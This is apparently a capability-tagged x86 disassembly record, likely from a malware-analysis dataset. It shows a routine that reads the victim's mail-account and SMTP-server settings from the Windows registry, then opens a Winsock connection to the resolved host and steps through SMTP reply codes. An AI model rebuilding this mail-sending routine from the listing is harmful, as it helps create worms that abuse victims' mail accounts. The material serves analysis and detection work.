Function at 0x40187c
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
xor eax, eax
call 0x4015f8
add byte [eax], al
add byte [eax], al
push 0x1f003f
push eax
call 0x401641
push ebx
outsd dx, dword [esi]
je 0x40167f
popal
jb 0x401670
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x401672
dec ecx
outsb dx, byte [esi]
je 0x40167f
jb 0x40168a
je 0x40163f
inc ecx
arpl word [ebx + 0x6f], sp
jne 0x401693
je 0x401647
dec ebp
popal
outsb dx, byte [esi]
popal
jb 0x40162f
inc ecx
arpl word [ebx + 0x6f], sp
jne 0x4016a3
je 0x4016aa
pop esp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 1], ch
add byte [eax], al
sub al, 0x47
add byte [eax], al
push connect
call 0x402692
or eax, eax
jne 0x401e0c
inc edi
adc byte [eax], al
add byte [ebx], cl
ror byte [edi], 0x85
mov ecx, 0x80000007
cmp eax, 0x40162e
add byte [ebp + 0x4e], dh
cmp byte [0x40162e], 0
jne 0x4016aa
xor eax, eax
call fcn.00401667
or dword [eax], eax
add byte [eax], al
push 0x401638
push eax
push eax
call 0x401688
inc esp
popaw
add byte [eax], al
add byte [ebp + 0x66], al
popal
jne 0x4016e5
je 0x40169b
dec ebp
popal
imul ebp, dword [eax + 0x41], 0x756f6363
and byte [ecx + 0x63], al
arpl word [edi + 0x75], bp
outsb dx, byte [esi]
je 0x401688
push dword [0x4015f4]
call sub.ADVAPI32.dll_RegQueryValueExA
hlt
push dword [0x4015f4]
call sub.ADVAPI32.dll_RegCloseKey
sldt word [eax]
mov byte [0x40162e], 0x5c
jmp 0x4015ed
add byte [ecx + ebp*8 + 0x43], bl
invalid
xor eax, eax
call 0x4016b5
add byte [edx], al
add byte [eax], al
push 0x4013dc
push eax
push eax
call 0x4016cd
push ebx
dec ebp
push esp
push eax
and byte [ebx + 0x65], dl
jb 0x401740
jb 0x4016cd
push dword [0x4015f4]
call sub.ADVAPI32.dll_RegQueryValueExA
push dword [0x4015f4]
call sub.ADVAPI32.dll_RegCloseKey
lea edi, [0x4013dc]
call 0x40187c
fcom qword [ebx]
inc eax
add al, ch
mov es, word [ecx]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 0x101
call sub.WSOCK32.dll_WSAStartup
push edi
call sub.WSOCK32.dll_gethostbyname
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [0x4018ba], eax
push 0
push 1
push 2
call sub.WSOCK32.dll_socket
mov dword [0x4015e8], eax
inc eax
je 0x401e0c
push 0x10
call 0x4018c6
add al, byte [eax]
add byte [ecx], bl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push dword [0x4015e8]
call sub.WSOCK32.dll_connect
inc eax
je 0x401dff
cld
lea ebx, [0x4013c0]
xor eax, eax
push 0x4015dc
push eax
push eax
push 0x4015e4
push eax
call sub.WSOCK32.dll_select
dec eax
jne 0x401dff
call fcn.00401e13
or eax, eax
je 0x401dff
lodsb al, byte [esi]
dec esi
cmp al, 0x32
jne 0x401dff
mov byte [0x40190a], 0x32
xor eax, eax
push 0x4015dc
push eax
push 0x4015e4
push eax
push eax
call sub.WSOCK32.dll_select
dec eax
jne 0x401dff
call dword [ebx]
or eax, eax
je 0x401dff
cmp dword [ebx + 4], 0
je 0x401dff
add ebx, 4
jmp 0x4018df
push dword [0x4015e8]
call sub.WSOCK32.dll_closesocket
popal
ret